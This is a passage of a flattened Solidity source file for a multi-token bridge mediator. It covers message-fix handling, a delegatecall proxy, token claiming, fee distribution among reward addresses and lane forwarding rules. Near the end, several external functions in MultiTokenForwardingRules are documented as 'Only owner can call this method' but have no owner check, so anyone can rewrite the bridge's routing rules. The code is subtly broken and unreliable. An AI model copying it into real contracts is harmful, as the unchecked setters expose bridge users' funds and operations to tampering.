}
// File: contracts/upgradeable_contracts/ChooseReceiverHelper.sol
pragma solidity 0.4.24;
contract ChooseReceiverHelper {
/**
* @dev Helper function for alternative receiver feature. Chooses the actual receiver out of sender and passed data.
* @param _from address of tokens sender.
* @param _data passed data in the transfer message.
* @return address of the receiver on the other side.
*/
function chooseReceiver(address _from, bytes _data) internal view returns (address recipient) {
recipient = _from;
if (_data.length > 0) {
require(_data.length == 20);
recipient = Bytes.bytesToAddress(_data);
require(recipient != address(0));
require(recipient != bridgeContractOnOtherSide());
}
}
/* solcov ignore next */
function bridgeContractOnOtherSide() internal view returns (address);
}
// File: contracts/upgradeable_contracts/TransferInfoStorage.sol
pragma solidity 0.4.24;
contract TransferInfoStorage is EternalStorage {
/**
* @dev Stores the value of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _value amount of tokens bridged.
*/
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
/**
* @dev Tells the amount of tokens of a message sent to the AMB bridge.
* @return value representing amount of tokens.
*/
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
/**
* @dev Stores the receiver of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _recipient receiver of the tokens bridged.
*/
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
/**
* @dev Tells the receiver of a message sent to the AMB bridge.
* @return address of the receiver.
*/
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
/**
* @dev Sets that the message sent to the AMB bridge has been fixed.
* @param _messageId of the message sent to the bridge.
*/
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
/**
* @dev Tells if a message sent to the AMB bridge has been fixed.
* @return bool indicating the status of the message.
*/
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/MultiTokenBridgeMediator.sol
pragma solidity 0.4.24;
/**
* @title MultiTokenBridgeMediator
* @dev Common mediator functionality to handle operations related to multi-token bridge messages sent to AMB bridge.
*/
contract MultiTokenBridgeMediator is
BasicAMBMediator,
BasicMultiTokenBridge,
TransferInfoStorage,
ChooseReceiverHelper
{
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
/**
* @dev Stores the bridged token of a message sent to the AMB bridge.
* @param _messageId of the message sent to the bridge.
* @param _token bridged token address.
*/
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
/**
* @dev Tells the bridged token address of a message sent to the AMB bridge.
* @return address of a token contract.
*/
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
/**
* @dev Handles the bridged tokens. Checks that the value is inside the execution limits and invokes the method
* to execute the Mint or Unlock accordingly.
* @param _token bridged ERC20/ERC677 token
* @param _recipient address that will receive the tokens
* @param _value amount of tokens to be received
*/
function _handleBridgedTokens(ERC677 _token, address _recipient, uint256 _value) internal {
if (withinExecutionLimit(_token, _value)) {
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
executeActionOnBridgedTokens(_token, _recipient, _value);
} else {
executeActionOnBridgedTokensOutOfLimit(_token, _recipient, _value);
}
}
/**
* @dev Method to be called when a bridged message execution failed. It will generate a new message requesting to
* fix/roll back the transferred assets on the other network.
* @param _messageId id of the message which execution failed.
*/
function requestFailedMessageFix(bytes32 _messageId) external {
require(!bridgeContract().messageCallStatus(_messageId));
require(bridgeContract().failedMessageReceiver(_messageId) == address(this));
require(bridgeContract().failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), data, requestGasLimit());
}
/**
* @dev Handles the request to fix transferred assets which bridged message execution failed on the other network.
* It uses the information stored by passMessage method when the assets were initially transferred
* @param _messageId id of the message which execution failed on the other network.
*/
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
/**
* @dev Execute the action to be performed when the bridge tokens are out of execution limits.
*/
function executeActionOnBridgedTokensOutOfLimit(address, address, uint256) internal {
revert();
}
/* solcov ignore next */
function executeActionOnBridgedTokens(address _token, address _recipient, uint256 _value) internal;
/* solcov ignore next */
function executeActionOnFixedTokens(address _token, address _recipient, uint256 _value) internal;
}
// File: contracts/upgradeable_contracts/Initializable.sol
pragma solidity 0.4.24;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba; // keccak256(abi.encodePacked("isInitialized"))
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
// File: contracts/upgradeable_contracts/ReentrancyGuard.sol
pragma solidity 0.4.24;
contract ReentrancyGuard is EternalStorage {
bytes32 internal constant LOCK = 0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92; // keccak256(abi.encodePacked("lock"))
function lock() internal returns (bool) {
return boolStorage[LOCK];
}
function setLock(bool _lock) internal {
boolStorage[LOCK] = _lock;
}
}
// File: contracts/upgradeable_contracts/Upgradeable.sol
pragma solidity 0.4.24;
contract Upgradeable {
// Avoid using onlyUpgradeabilityOwner name to prevent issues with implementation from proxy contract
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(this).upgradeabilityOwner());
/* solcov ignore next */
_;
}
}
// File: contracts/upgradeable_contracts/Sacrifice.sol
pragma solidity 0.4.24;
contract Sacrifice {
constructor(address _recipient) public payable {
selfdestruct(_recipient);
}
}
// File: contracts/libraries/Address.sol
pragma solidity 0.4.24;
/**
* @title Address
* @dev Helper methods for Address type.
*/
library Address {
/**
* @dev Try to send native tokens to the address. If it fails, it will force the transfer by creating a selfdestruct contract
* @param _receiver address that will receive the native tokens
* @param _value the amount of native tokens to send
*/
function safeSendValue(address _receiver, uint256 _value) internal {
if (!_receiver.send(_value)) {
(new Sacrifice).value(_value)(_receiver);
}
}
}
// File: contracts/libraries/SafeERC20.sol
pragma solidity 0.4.24;
/**
* @title SafeERC20
* @dev Helper methods for safe token transfers.
* Functions perform additional checks to be sure that token transfer really happened.
*/
library SafeERC20 {
using SafeMath for uint256;
/**
* @dev Same as ERC20.transfer(address,uint256) but with extra consistency checks.
* @param _token address of the token contract
* @param _to address of the receiver
* @param _value amount of tokens to send
*/
function safeTransfer(address _token, address _to, uint256 _value) internal {
LegacyERC20(_token).transfer(_to, _value);
assembly {
if returndatasize {
returndatacopy(0, 0, 32)
if iszero(mload(0)) {
revert(0, 0)
}
}
}
}
/**
* @dev Same as ERC20.transferFrom(address,address,uint256) but with extra consistency checks.
* @param _token address of the token contract
* @param _from address of the sender
* @param _value amount of tokens to send
*/
function safeTransferFrom(address _token, address _from, uint256 _value) internal {
LegacyERC20(_token).transferFrom(_from, address(this), _value);
assembly {
if returndatasize {
returndatacopy(0, 0, 32)
if iszero(mload(0)) {
revert(0, 0)
}
}
}
}
}
// File: contracts/upgradeable_contracts/Claimable.sol
pragma solidity 0.4.24;
/**
* @title Claimable
* @dev Implementation of the claiming utils that can be useful for withdrawing accidentally sent tokens that are not used in bridge operations.
*/
contract Claimable {
using SafeERC20 for address;
/**
* Throws if a given address is equal to address(0)
*/
modifier validAddress(address _to) {
require(_to != address(0));
/* solcov ignore next */
_;
}
/**
* @dev Withdraws the erc20 tokens or native coins from this contract.
* Caller should additionally check that the claimed token is not a part of bridge operations (i.e. that token != erc20token()).
* @param _token address of the claimed token or address(0) for native coins.
* @param _to address of the tokens/coins receiver.
*/
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
/**
* @dev Internal function for withdrawing all native coins from the contract.
* @param _to address of the coins receiver.
*/
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
Address.safeSendValue(_to, value);
}
/**
* @dev Internal function for withdrawing all tokens of ssome particular ERC20 contract from this contract.
* @param _token address of the claimed ERC20 token.
* @param _to address of the tokens receiver.
*/
function claimErc20Tokens(address _token, address _to) internal {
ERC20Basic token = ERC20Basic(_token);
uint256 balance = token.balanceOf(this);
_token.safeTransfer(_to, balance);
}
}
// File: contracts/upgradeable_contracts/VersionableBridge.sol
pragma solidity 0.4.24;
contract VersionableBridge {
function getBridgeInterfacesVersion() external pure returns (uint64 major, uint64 minor, uint64 patch) {
return (5, 2, 0);
}
/* solcov ignore next */
function getBridgeMode() external pure returns (bytes4);
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/BasicMultiAMBErc20ToErc677.sol
pragma solidity 0.4.24;
/**
* @title BasicMultiAMBErc20ToErc677
* @dev Common functionality for multi-erc20-to-erc677 mediator intended to work on top of AMB bridge.
*/
contract BasicMultiAMBErc20ToErc677 is
Initializable,
ReentrancyGuard,
Upgradeable,
Claimable,
VersionableBridge,
MultiTokenBridgeMediator
{
/**
* @dev Tells the address of the mediator contract on the other side, used by chooseReceiver method
* to avoid sending the native tokens to that address.
* @return address of the mediator contract con the other side
*/
function bridgeContractOnOtherSide() internal view returns (address) {
return mediatorContractOnOtherSide();
}
/**
* @dev Initiate the bridge operation for some amount of tokens from msg.sender.
* The user should first call Approve method of the ERC677 token.
* @param token bridged token contract address.
* @param _receiver address that will receive the native tokens on the other network.
* @param _value amount of tokens to be transferred to the other network.
*/
function relayTokens(ERC677 token, address _receiver, uint256 _value) external {
_relayTokens(token, _receiver, _value);
}
/**
* @dev Initiate the bridge operation for some amount of tokens from msg.sender to msg.sender on the other side.
* The user should first call Approve method of the ERC677 token.
* @param token bridged token contract address.
* @param _value amount of tokens to be transferred to the other network.
*/
function relayTokens(ERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value);
}
/**
* @dev Tells the bridge interface version that this contract supports.
* @return major value of the version
* @return minor value of the version
* @return patch value of the version
*/
function getBridgeInterfacesVersion() external pure returns (uint64 major, uint64 minor, uint64 patch) {
return (1, 2, 0);
}
/**
* @dev Tells the bridge mode that this contract supports.
* @return _data 4 bytes representing the bridge mode
*/
function getBridgeMode() external pure returns (bytes4 _data) {
return 0xb1516c26; // bytes4(keccak256(abi.encodePacked("multi-erc-to-erc-amb")))
}
/**
* @dev Claims stucked tokens. Only unsupported tokens can be claimed.
* When dealing with already supported tokens, fixMediatorBalance can be used instead.
* @param _token address of claimed token, address(0) for native
* @param _to address of tokens receiver
*/
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
// Only unregistered tokens and native coins are allowed to be claimed with the use of this function
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
/* solcov ignore next */
function onTokenTransfer(address _from, uint256 _value, bytes _data) public returns (bool);
/* solcov ignore next */
function _relayTokens(ERC677 token, address _receiver, uint256 _value) internal;
/* solcov ignore next */
function bridgeSpecificActionsOnTokenTransfer(ERC677 _token, address _from, uint256 _value, bytes _data) internal;
}
// File: contracts/upgradeability/Proxy.sol
pragma solidity 0.4.24;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
/* solcov ignore next */
function implementation() public view returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function() public payable {
// solhint-disable-previous-line no-complex-fallback
address _impl = implementation();
require(_impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize)
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
/*
*/
/*
ptr current points to the value stored at 0x40,
because we assigned it like ptr := mload(0x40).
Because we use 0x40 as a free memory pointer,
we want to make sure that the next time we want to allocate memory,
we aren't overwriting anything important.
So, by adding ptr and returndatasize,
we get a memory location beyond the end of the data we will be copying to ptr.
We place this in at 0x40, and any reads from 0x40 will now read from free memory
*/
mstore(0x40, add(ptr, returndatasize))
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, returndatasize)
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 {
revert(ptr, returndatasize)
}
default {
return(ptr, returndatasize)
}
}
}
}
// File: contracts/interfaces/IBridgeMediator.sol
interface IBridgeMediator {
function tokenImage() public view returns (address);
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/TokenProxy.sol
pragma solidity 0.4.24;
interface IPermittableTokenVersion {
function version() external pure returns (string);
}
/**
* @title TokenProxy
* @dev Helps to reduces the size of the deployed bytecode for automatically created tokens, by using a proxy contract.
*/
contract TokenProxy is Proxy {
// storage layout is copied from PermittableToken.sol
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
// string public constant version = "1";
bytes32 internal DOMAIN_SEPARATOR;
// bytes32 public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
/**
* @dev Creates a non-upgradeable token proxy for PermitableToken.sol, initializes its eternalStorage.
* @param _tokenImage address of the token image used for mirroring all functions.
* @param _name token name.
* @param _symbol token symbol.
* @param _decimals token decimals.
* @param _chainId chain id for current network.
*/
constructor(address _tokenImage, string memory _name, string memory _symbol, uint8 _decimals, uint256 _chainId)
public
{
string memory version = IPermittableTokenVersion(_tokenImage).version();
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = msg.sender; // msg.sender == HomeMultiAMBErc20ToErc677 mediator
bridgeContractAddr = msg.sender;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
/**
* @dev Retrieves the implementation contract address, mirrored token image.
* @return token image address.
*/
function implementation() public view returns (address impl) {
return IBridgeMediator(bridgeContractAddr).tokenImage();
}
}
// File: contracts/upgradeable_contracts/BaseRewardAddressList.sol
pragma solidity 0.4.24;
/**
* @title BaseRewardAddressList
* @dev Implements the logic to store, add and remove reward account addresses. Works as a linked list.
*/
contract BaseRewardAddressList is EternalStorage {
using SafeMath for uint256;
address public constant F_ADDR = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
uint256 internal constant MAX_REWARD_ADDRESSES = 50;
bytes32 internal constant REWARD_ADDRESS_COUNT = 0xabc77c82721ced73eef2645facebe8c30249e6ac372cce6eb9d1fed31bd6648f; // keccak256(abi.encodePacked("rewardAddressCount"))
event RewardAddressAdded(address indexed addr);
event RewardAddressRemoved(address indexed addr);
/**
* @dev Retrieves all registered reward accounts.
* @return address list of the registered reward receivers.
*/
function rewardAddressList() external view returns (address[]) {
address[] memory list = new address[](rewardAddressCount());
uint256 counter = 0;
address nextAddr = getNextRewardAddress(F_ADDR);
while (nextAddr != F_ADDR) {
require(nextAddr != address(0));
list[counter] = nextAddr;
nextAddr = getNextRewardAddress(nextAddr);
counter++;
}
return list;
}
/**
* @dev Retrieves amount of registered reward accounts.
* @return length of reward addresses list.
*/
function rewardAddressCount() public view returns (uint256) {
return uintStorage[REWARD_ADDRESS_COUNT];
}
/**
* @dev Checks if specified address is included into the registered rewards receivers list.
* @param _addr address to verify.
* @return true, if specified address is associated with one of the registered reward accounts.
*/
function isRewardAddress(address _addr) public view returns (bool) {
return _addr != F_ADDR && getNextRewardAddress(_addr) != address(0);
}
/**
* @dev Retrieves next reward address in the linked list, or F_ADDR if given address is the last one.
* @param _address address of some reward account.
* @return address of the next reward receiver.
*/
function getNextRewardAddress(address _address) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("rewardAddressList", _address))];
}
/**
* @dev Internal function for adding a new reward address to the linked list.
* @param _addr new reward account.
*/
function _addRewardAddress(address _addr) internal {
require(_addr != address(0) && _addr != F_ADDR);
require(!isRewardAddress(_addr));
address nextAddr = getNextRewardAddress(F_ADDR);
require(nextAddr != address(0));
_setNextRewardAddress(_addr, nextAddr);
_setNextRewardAddress(F_ADDR, _addr);
_setRewardAddressCount(rewardAddressCount().add(1));
}
/**
* @dev Internal function for removing existing reward address from the linked list.
* @param _addr old reward account which should be removed.
*/
function _removeRewardAddress(address _addr) internal {
require(isRewardAddress(_addr));
address nextAddr = getNextRewardAddress(_addr);
address index = F_ADDR;
address next = getNextRewardAddress(index);
while (next != _addr) {
require(next != address(0));
index = next;
next = getNextRewardAddress(index);
require(next != F_ADDR);
}
_setNextRewardAddress(index, nextAddr);
delete addressStorage[keccak256(abi.encodePacked("rewardAddressList", _addr))];
_setRewardAddressCount(rewardAddressCount().sub(1));
}
/**
* @dev Internal function for initializing linked list with the array of the initial reward addresses.
* @param _rewardAddresses initial reward addresses list, should be non-empty.
*/
function _setRewardAddressList(address[] _rewardAddresses) internal {
require(_rewardAddresses.length > 0);
_setNextRewardAddress(F_ADDR, _rewardAddresses[0]);
for (uint256 i = 0; i < _rewardAddresses.length; i++) {
require(_rewardAddresses[i] != address(0) && _rewardAddresses[i] != F_ADDR);
require(!isRewardAddress(_rewardAddresses[i]));
if (i == _rewardAddresses.length - 1) {
_setNextRewardAddress(_rewardAddresses[i], F_ADDR);
} else {
_setNextRewardAddress(_rewardAddresses[i], _rewardAddresses[i + 1]);
}
emit RewardAddressAdded(_rewardAddresses[i]);
}
_setRewardAddressCount(_rewardAddresses.length);
}
/**
* @dev Internal function for updating the length of the reward accounts list.
* @param _rewardAddressCount new linked list length.
*/
function _setRewardAddressCount(uint256 _rewardAddressCount) internal {
require(_rewardAddressCount <= MAX_REWARD_ADDRESSES);
uintStorage[REWARD_ADDRESS_COUNT] = _rewardAddressCount;
}
/**
* @dev Internal function for updating the pointer to the next reward receiver.
* @param _prevAddr address of some reward receiver.
* @param _addr address of the next receiver to which _prevAddr should point to.
*/
function _setNextRewardAddress(address _prevAddr, address _addr) internal {
addressStorage[keccak256(abi.encodePacked("rewardAddressList", _prevAddr))] = _addr;
}
}
// File: contracts/interfaces/IBurnableMintableERC677Token.sol
pragma solidity 0.4.24;
contract IBurnableMintableERC677Token is ERC677 {
function mint(address _to, uint256 _amount) public returns (bool);
function burn(uint256 _value) public;
function claimTokens(address _token, address _to) external;
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/HomeFeeManagerMultiAMBErc20ToErc677.sol
pragma solidity 0.4.24;
/**
* @title HomeFeeManagerMultiAMBErc20ToErc677
* @dev Implements the logic to distribute fees from the multi erc20 to erc677 mediator contract operations.
* The fees are distributed in the form of native tokens to the list of reward accounts.
*/
contract HomeFeeManagerMultiAMBErc20ToErc677 is BaseRewardAddressList, Ownable, BasicMultiTokenBridge {
using SafeMath for uint256;
event FeeUpdated(bytes32 feeType, address indexed token, uint256 fee);
event FeeDistributed(uint256 fee, address indexed token, bytes32 indexed messageId);
// This is not a real fee value but a relative value used to calculate the fee percentage
uint256 internal constant MAX_FEE = 1 ether;
bytes32 public constant HOME_TO_FOREIGN_FEE = 0x741ede137d0537e88e0ea0ff25b1f22d837903dbbee8980b4a06e8523247ee26; // keccak256(abi.encodePacked("homeToForeignFee"))
bytes32 public constant FOREIGN_TO_HOME_FEE = 0x03be2b2875cb41e0e77355e802a16769bb8dfcf825061cde185c73bf94f12625; // keccak256(abi.encodePacked("foreignToHomeFee"))
/**
* @dev Throws if given fee percentage is >= 100%.
*/
modifier validFee(uint256 _fee) {
require(_fee < MAX_FEE);
/* solcov ignore next */
_;
}
/**
* @dev Throws if given fee type is unknown.
*/
modifier validFeeType(bytes32 _feeType) {
require(_feeType == HOME_TO_FOREIGN_FEE || _feeType == FOREIGN_TO_HOME_FEE);
/* solcov ignore next */
_;
}
/**
* @dev Adds a new reward address to the list, which will receive fees collected from the bridge operations.
* Only the owner can call this method.
* @param _addr new reward account.
*/
function addRewardAddress(address _addr) external onlyOwner {
_addRewardAddress(_addr);
}
/**
* @dev Removes a reward address from the rewards list.
* Only the owner can call this method.
* @param _addr old reward account, that should be removed.
*/
function removeRewardAddress(address _addr) external onlyOwner {
_removeRewardAddress(_addr);
}
/**
* @dev Updates the value for the particular fee type.
* Only the owner can call this method.
* @param _feeType type of the updated fee, can be one of [HOME_TO_FOREIGN_FEE, FOREIGN_TO_HOME_FEE].
* @param _token address of the token contract for which fee should apply, 0x00..00 describes the initial fee for newly created tokens.
* @param _fee new fee value, in percentage (1 ether == 10**18 == 100%).
*/
function setFee(bytes32 _feeType, address _token, uint256 _fee) external onlyOwner {
_setFee(_feeType, _token, _fee);
}
/**
* @dev Retrieves the value for the particular fee type.
* @param _feeType type of the updated fee, can be one of [HOME_TO_FOREIGN_FEE, FOREIGN_TO_HOME_FEE].
* @param _token address of the token contract for which fee should apply, 0x00..00 describes the initial fee for newly created tokens.
* @return fee value associated with the requested fee type.
*/
function getFee(bytes32 _feeType, address _token) public view validFeeType(_feeType) returns (uint256) {
return uintStorage[keccak256(abi.encodePacked(_feeType, _token))];
}
/**
* @dev Calculates the amount of fee to pay for the value of the particular fee type.
* @param _feeType type of the updated fee, can be one of [HOME_TO_FOREIGN_FEE, FOREIGN_TO_HOME_FEE].
* @param _token address of the token contract for which fee should apply, 0x00..00 describes the initial fee for newly created tokens.
* @param _value bridged value, for which fee should be evaluated.
* @return amount of fee to be subtracted from the transferred value.
*/
function calculateFee(bytes32 _feeType, address _token, uint256 _value) public view returns (uint256) {
uint256 _fee = getFee(_feeType, _token);
return _value.mul(_fee).div(MAX_FEE);
}
/**
* @dev Internal function for updating the fee value for the given fee type.
* @param _feeType type of the updated fee, can be one of [HOME_TO_FOREIGN_FEE, FOREIGN_TO_HOME_FEE].
* @param _token address of the token contract for which fee should apply, 0x00..00 describes the initial fee for newly created tokens.
* @param _fee new fee value, in percentage (1 ether == 10**18 == 100%).
*/
function _setFee(bytes32 _feeType, address _token, uint256 _fee) internal validFeeType(_feeType) validFee(_fee) {
require(isTokenRegistered(_token));
uintStorage[keccak256(abi.encodePacked(_feeType, _token))] = _fee;
emit FeeUpdated(_feeType, _token, _fee);
}
/**
* @dev Calculates a random number based on the block number.
* @param _count the max value for the random number.
* @return a number between 0 and _count.
*/
function random(uint256 _count) internal view returns (uint256) {
return uint256(blockhash(block.number.sub(1))) % _count;
}
/**
* @dev Calculates and distributes the amount of fee proportionally between registered reward addresses.
* @param _feeType type of the updated fee, can be one of [HOME_TO_FOREIGN_FEE, FOREIGN_TO_HOME_FEE].
* @param _token address of the token contract for which fee should apply, 0x00..00 describes the initial fee for newly created tokens.
* @param _value bridged value, for which fee should be evaluated.
* @return total amount of fee subtracted from the transferred value and distributed between the reward accounts.
*/
function _distributeFee(bytes32 _feeType, address _token, uint256 _value) internal returns (uint256) {
uint256 numOfAccounts = rewardAddressCount();
uint256 _fee = calculateFee(_feeType, _token, _value);
if (numOfAccounts == 0 || _fee == 0) {
return 0;
}
uint256 feePerAccount = _fee.div(numOfAccounts);
uint256 randomAccountIndex;
uint256 diff = _fee.sub(feePerAccount.mul(numOfAccounts));
if (diff > 0) {
randomAccountIndex = random(numOfAccounts);
}
address nextAddr = getNextRewardAddress(F_ADDR);
require(nextAddr != F_ADDR && nextAddr != address(0));
uint256 i = 0;
while (nextAddr != F_ADDR) {
uint256 feeToDistribute = feePerAccount;
if (diff > 0 && randomAccountIndex == i) {
feeToDistribute = feeToDistribute.add(diff);
}
if (_feeType == HOME_TO_FOREIGN_FEE) {
ERC677(_token).transfer(nextAddr, feeToDistribute);
} else {
IBurnableMintableERC677Token(_token).mint(nextAddr, feeToDistribute);
}
nextAddr = getNextRewardAddress(nextAddr);
require(nextAddr != address(0));
i = i + 1;
}
return _fee;
}
}
// File: contracts/interfaces/IBridgeUtils.sol
pragma solidity 0.4.24;
interface IBridgeUtils {
function addToken(address _tokenAddr) external returns (bool);
function registerSupplier(address ownerAddr) external returns (address);
function isRegistered(address supplierAddr) public view returns (bool);
function safeForSupplier(address supplierAddr) public view returns (address);
}
// File: contracts/upgradeable_contracts/multi_amb_erc20_to_erc677/MultiTokenForwardingRules.sol
pragma solidity 0.4.24;
/**
* @title MultiTokenForwardingRules
* @dev Multi token mediator functionality for managing destination AMB lanes permissions.
*/
contract MultiTokenForwardingRules is Ownable {
address internal constant ANY_ADDRESS = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
event ForwardingRuleUpdated(address token, address sender, address receiver, int256 lane);
/**
* @dev Tells the destination lane for a particular bridge operation by checking several wildcard forwarding rules.
* @param _token address of the token contract on the foreign side of the bridge.
* @param _sender address of the tokens sender on the home side of the bridge.
* @param _receiver address of the tokens receiver on the foreign side of the bridge.
* @return destination lane identifier, where the message should be forwarded to.
* 1 - oracle-driven-lane should be used.
* 0 - default behaviour should be applied.
* -1 - manual lane should be used.
*/
function destinationLane(address _token, address _sender, address _receiver) public view returns (int256) {
int256 defaultLane = forwardingRule(_token, ANY_ADDRESS, ANY_ADDRESS); // specific token for all senders and receivers
int256 lane;
if (defaultLane < 0) {
lane = forwardingRule(_token, _sender, ANY_ADDRESS); // specific token for specific sender
if (lane != 0) return lane;
lane = forwardingRule(_token, ANY_ADDRESS, _receiver); // specific token for specific receiver
if (lane != 0) return lane;
return defaultLane;
}
lane = forwardingRule(ANY_ADDRESS, _sender, ANY_ADDRESS); // all tokens for specific sender
if (lane != 0) return lane;
return forwardingRule(ANY_ADDRESS, ANY_ADDRESS, _receiver); // all tokens for specific receiver
}
/**
* Updates the forwarding rule for bridging specific token.
* Only owner can call this method.
* @param _token address of the token contract on the foreign side.
* @param _enable true, if bridge operations for a given token should be forwarded to the manual lane.
*/
function setTokenForwardingRule(address _token, bool _enable) external {
require(_token != ANY_ADDRESS);
_setForwardingRule(_token, ANY_ADDRESS, ANY_ADDRESS, _enable ? int256(-1) : int256(0));
}
/**
* Allows a particular address to send bridge requests to the oracle-driven lane for a particular token.
* Only owner can call this method.
* @param _token address of the token contract on the foreign side.
* @param _sender address of the tokens sender on the home side of the bridge.
* @param _enable true, if bridge operations for a given token and sender should be forwarded to the oracle-driven lane.
*/
function setSenderExceptionForTokenForwardingRule(address _token, address _sender, bool _enable) external {
require(_token != ANY_ADDRESS);
require(_sender != ANY_ADDRESS);
_setForwardingRule(_token, _sender, ANY_ADDRESS, _enable ? int256(1) : int256(0));
}
/**
* Allows a particular address to receive bridged tokens from the oracle-driven lane for a particular token.
* Only owner can call this method.
* @param _token address of the token contract on the foreign side.
* @param _receiver address of the tokens receiver on the foreign side of the bridge.
* @param _enable true, if bridge operations for a given token and receiver should be forwarded to the oracle-driven lane.
*/
function setReceiverExceptionForTokenForwardingRule(address _token, address _receiver, bool _enable) external {
require(_token != ANY_ADDRESS);
require(_receiver != ANY_ADDRESS);
_setForwardingRule(_token, ANY_ADDRESS, _receiver, _enable ? int256(1) : int256(0));
}
/**
* Updates the forwarding rule for the specific sender.
* Only owner can call this method.
* @param _sender address of the tokens sender on the home side.
* @param _enable true, if all bridge operations from a given sender should be forwarded to the manual lane.
*/
function setSenderForwardingRule(address _sender, bool _enable) external {
require(_sender != ANY_ADDRESS);
_setForwardingRule(ANY_ADDRESS, _sender, ANY_ADDRESS, _enable ? int256(-1) : int256(0));
}
/**
* Updates the forwarding rule for the specific receiver.
* Only owner can call this method.
* @param _receiver address of the tokens receiver on the foreign side.
